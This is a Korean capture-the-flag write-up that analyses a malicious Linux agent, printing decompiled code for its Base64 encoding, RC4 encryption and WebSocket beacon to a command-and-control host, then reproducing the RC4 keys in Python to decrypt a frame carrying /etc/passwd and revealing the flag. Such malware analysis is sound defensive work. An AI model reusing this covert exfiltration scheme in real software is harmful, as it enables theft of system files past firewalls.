시나리오 1-3
지금 주어진 것들은 1-1에서 확보했던 방화벽의 네트워크 패킷 캡처 파일과 1-3 문제에서 제공하는 agent ELF파일이다.
1-1 recall: 사내 A 서버에서 15.164.209.134(MDNS포트 5353)과 43.200.69.196(HTTP/80) 주기적 통신 채증, 방화벽 우회를 위해 DNS TXT 응답, WebSocket Handshake를 통해 통신을 은닉함.
- Packet Evidence
네트워크에서 더 건질게 있나 확인하기 위해 15.164.209.134↔43.200.69.196 응답 중
rqx8X+kGqDopsbr9ohmdd4eD7toWoPR9cnz9b1vWC6jcsjqRfKFwW9AJ7Zp8np8SjA==
해당 base64 문자열을 다수 포착했다.

43.200.69.196와 트래픽은 WebSocket handshake 이후 1349Byte의 바이너리 프레임으로 종료된다. 프레임은 base64 문자열 2개가 | 로 구분되는 형식이였다.
- ELF Evidence
main에서 난수 초기화 후 xNc7fT5G.isra.0() 호출한다.
int __fastcall main(int argc, const char **argv, const char **envp){ int v5; // ebx const char *v6; // rcx __int64 v7; // rdi int v8; // edx int v9; // eax int v10; // esi int v12; // ebx unsigned int v13; // eax _DWORD vars0[94]; // [rsp+0h] [rbp+0h] BYREF
v5 = 1; memset(vars0, 0, 0x148u); vars0[64] = 5; vars0[81] = 53; if ( argc > 1 ) { do { v6 = argv[v5]; v7 = v5; v8 = *(unsigned __int8 *)v6; v9 = v8 - 45; if ( v8 == 45 ) { v9 = *((unsigned __int8 *)v6 + 1) - 100; if ( v6[1] == 100 ) v9 = *((unsigned __int8 *)v6 + 2); } v10 = v5 + 1; if ( v9 ) { if ( v8 != 45 ) goto LABEL_16; if ( v6[1] == 116 && !v6[2] ) { if ( argc > v10 ) { v5 += 2; vars0[64] = strtoq(argv[v7 + 1], 0, 10); continue; }LABEL_9: if ( v6[1] == 112 && !v6[2] ) { if ( argc <= v10 ) break; v5 += 2; vars0[81] = strtoq(argv[v7 + 1], 0, 10); continue; }LABEL_16: ++v5; continue; } } else if ( argc > v10 ) { v5 += 2; j_strncpy_ifunc(vars0, argv[v7 + 1], 255); continue; } if ( v8 != 45 ) goto LABEL_16; if ( v6[1] != 105 || v6[2] ) goto LABEL_9; if ( argc <= v10 ) break; v5 += 2; j_strncpy_ifunc(&vars0[65], argv[v7 + 1], 63); } while ( argc > v5 ); } if ( LOBYTE(vars0[0]) ) { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); v12 = time(0); v13 = getpid(); srandom(v12 ^ v13); xNc7fT5G_isra_0(vars0); } return 1;}ELF 분석 하던 중 핵심 함수들을 정리해보겠다.
__int64 __fastcall tJp3mE5V_constprop_0(__int64 a1, unsigned __int64 a2, __int64 *a3){... if ( a2 <= 2 ) { v15 = 1; v14 = 0; } else { v11 = 3; do { v10 += 4; v12 = (*(unsigned __int8 *)(a1 + v11 - 2) << 8) | (*(unsigned __int8 *)(a1 + v11 - 3) << 16); v13 = v12 | *(unsigned __int8 *)(a1 + v11 - 1); *((_DWORD *)v10 - 1) = (unsigned __int8)b64tab[v12 >> 18] | (((unsigned __int8)b64tab[(v12 >> 12) & 0x3F] | (((unsigned __int8)b64tab[(v13 >> 6) & 0x3F] | ((unsigned __int8)b64tab[v13 & 0x3F] << 8)) << 8)) << 8); v14 = v11; v11 += 3LL; } while ( a2 >= v11 ); v15 = v14 + 1; } if ( a2 == v15 ) { v10 += 4; v21 = *(unsigned __int8 *)(a1 + v14); v22 = (16 * (_BYTE)v21) & 0x30; LOBYTE(v21) = b64tab[v21 >> 2]; *(v10 - 3) = b64tab[v22]; *(v10 - 4) = v21; *((_WORD *)v10 - 1) = 15677; } else if ( a2 == v14 + 2 ) { v17 = *(unsigned __int8 *)(a1 + v14); v18 = *(unsigned __int8 *)(a1 + v15); v10[3] = 61; v10 += 4; v17 <<= 16; *(v10 - 4) = b64tab[v17 >> 18]; v19 = v17 | (v18 << 8); v20 = v19 >> 6; LOBYTE(v19) = b64tab[(v19 >> 12) & 0x3F]; *(v10 - 2) = b64tab[v20 & 0x3C]; *(v10 - 3) = v19; } *v10 = 0; a3[1] = (__int64)&v10[-v9]; return 0;}tJp3mE5V.constprop.0 : 메모리 블록을 Base64 인코딩.
__int64 __fastcall dLp1vK3W_constprop_0(__int64 a1, __int64 a2, unsigned __int64 a3, __int64 *a4){ ... j_memcpy(a4[1] + v9, a2, a3); v10 = a4[1]; v11 = v42; v12 = (__m128i *)v42; si128 = _mm_load_si128((const __m128i *)&xmmword_4C5F40); a4[1] = a3 + v10; v14 = _mm_shuffle_epi32(_mm_cvtsi32_si128(4u), 0); v15 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0x10u), 0); v16 = _mm_shuffle_epi32(_mm_cvtsi32_si128(8u), 0); v17 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0xCu), 0); v18 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0xFF00FFu), 0); do { v19 = si128; ++v12; v20 = _mm_add_epi32(si128, v14); v21 = _mm_unpacklo_epi16(si128, v20); v22 = _mm_unpackhi_epi16(si128, v20); si128 = _mm_add_epi32(si128, v15); v23 = v21; v24 = _mm_unpacklo_epi16(v21, v22); v25 = _mm_unpackhi_epi16(v23, v22); v26 = v19; v27 = _mm_add_epi32(v19, v17); v28 = _mm_unpacklo_epi16(v24, v25); v29 = _mm_add_epi32(v26, v16); v30 = _mm_unpacklo_epi16(v29, v27); v31 = _mm_unpackhi_epi16(v29, v27); v12[-1] = _mm_packus_epi16( _mm_and_si128(v28, v18), _mm_and_si128(_mm_unpacklo_epi16(_mm_unpacklo_epi16(v30, v31), _mm_unpackhi_epi16(v30, v31)), v18)); } while ( v12 != (__m128i *)&v43 ); v32 = 0; v33 = 0; do { v34 = v33; v35 = *v11; ++v33; ++v11; v32 += v35 + *(unsigned __int8 *)(a1 + (v34 & 0x3F)); *(v11 - 1) = v42[(unsigned __int8)v32]; v42[(unsigned __int8)v32] = v35; } while ( v33 != 256 ); result = *a4; if ( a3 ) { v37 = result + v10; v38 = (_BYTE *)(result + a3 + v10); v39 = 0; v40 = 1 - (result + v10); do { v41 = (unsigned __int8)v42[(unsigned __int8)(v40 + v37)]; v39 += v41; v42[(unsigned __int8)(v40 + v37)] = v42[(unsigned __int8)v39]; v42[(unsigned __int8)v39] = v41; result = (unsigned __int8)v42[(unsigned __int8)(v42[(unsigned __int8)(v40 + v37)] + v41)]; *(_BYTE *)v37++ ^= result; } while ( (_BYTE *)v37 != v38 ); } return result;}dLp1vK3W.constprop.0 : 디렉터리/파일 열람 및 RC4 S-box 초기화.
__int64 __fastcall fZr2bH9X_isra_0(__int64 a1, __int64 a2, unsigned __int64 a3, int a4, _BYTE *a5){ ... v17 = socket(*(v16 + 4), *(v16 + 8), *(v16 + 12), v15); v18 = v17; if ( v17 >= 0 ) { if ( !connect(v17, *(v16 + 24), *(v16 + 16)) ) { v19 = v82; freeaddrinfo(v84); v89[0] = v18; do *v19++ = rand(); while ( v19 != &v83 ); v84 = 0; v85 = 0; v20 = tJp3mE5V_constprop_0(v82, 16, &v84); v21 = v84; if ( !v20 ) { v22 = snprintf( v90, 1024, "GET %s HTTP/1.1\\r\\n" "Host: %s:%d\\r\\n" "Upgrade: websocket\\r\\n" "Connection: Upgrade\\r\\n" "Sec-WebSocket-Key: %s\\r\\n" "Sec-WebSocket-Version: 13\\r\\n" "\\r\\n", &v89[66], &v89[1], v89[65]); free(v21); v85 = 0; result = send(v89[0], v90, v22, 0); v23 = v89[0]; if ( result == v22 ) { result = recv(v89[0], v91, 2047, 0); if ( result > 0 ) { v24 = 1; if ( a3 < 0xFFFFFFFFFFFF8001LL && a3 != 0 ) v24 = (a3 + 0x7FFF) >> 15; v57 = v24; v54 = 0; while ( 1 ) { v25 = (v54 << 15) + 0x8000; if ( v25 > a3 ) v25 = a3; v26 = v25 - (v54 << 15); v27 = *a5 ? "%s|%zu|%zu|%zu|%s" : "%s|%zu|%zu|%zu"; v28 = 1024; v29 = 0; snprintf(v90, 1024, v27, a4, v54, v57); srandom(15852074); do { v30 = random(15852074, v28); v28 = JB8qL4; v82[v29] = JB8qL4[v29] ^ BYTE2(v30); ++v29; } while ( v29 != 64 ); v31 = 15852074; v32 = 0; srandom(15852074); do { v33 = random(v31, JB8qL4); v31 = NY1sP6; *(&v84 + v32) = NY1sP6[v32] ^ BYTE2(v33); ++v32; } while ( v32 != 64 ); ... } return result;}fZr2bH9X_isra_0 : 웹 소켓 보내는 곳
__srandom(0xf1e22a) + __random() 반복 호출 → 0x40 바이트 키 스트림 생성.
생성된 난수는 로데이터 테이블 JB8qL4(0x4c5e40)·NY1sP6(0x4c5e00)과 XOR되어 최종 RC4 키 두 개를 만듦.
첫 번째 RC4 키로 메타데이터 블록을 암호화 후 Base64 인코딩, 두 번째 키로 실제 페이로드 암호화.
송신 포맷은 @@ws://%s|%zu|%zu|... 템플릿 기반이며 WebSocket 텍스트 프레임으로 전송됨.
모든 로직을 다 알았으니 이제 복호화를 해야한다.
C2 통신 프로토콜을 암호화 해제하자.
우선 웹 소켓 보낸 것들을 모두 파일로 저장했다. 모든 세션 해시가 동일해서 최초 세션만 분석하면 충분하다.

payload = Path('frame0.bin').read_text()chunk_meta, chunk_data = payload.split('|')meta_b = base64.b64decode(chunk_meta)data_b = base64.b64decode(chunk_data)agent 로직을 따라 glibc random() PRNG를 동일하게 구동해야 RC4 키를 재현할 수 있다.
libc.srandom(0xf1e22a)key = bytes(((libc.random() >> 16) & 0xff) ^ table[i] for i in range(0x40))키 생성 코드
복호화는 RC4(KSA/PRGA)를 그대로 구현해서 수행했다.
그리고 rowdata table 추출 및 키 재현 수행
KEY_TABLE1 = 0x4c5e40 # JB8qL4KEY_TABLE2 = 0x4c5e00 # NY1sP6key1 = derive_rc4_key(KEY_TABLE1)key2 = derive_rc4_key(KEY_TABLE2)RC4로 메타블록과 데이터 블록 복호화를 거치면
meta_plain = rc4(key1, meta_b)data_plain = rc4(key2, data_b)meta_plain: 95|0|1|985|/secret/flag
data_plain:

전체 페이로드는 /etc/passwd 파일 내용으로 보이며 RC4로 암호화된 후 WebSocket 프레임에 실려 전송된다.
fiesta{9116e22e132b3e550f0c97c3e11e64a6}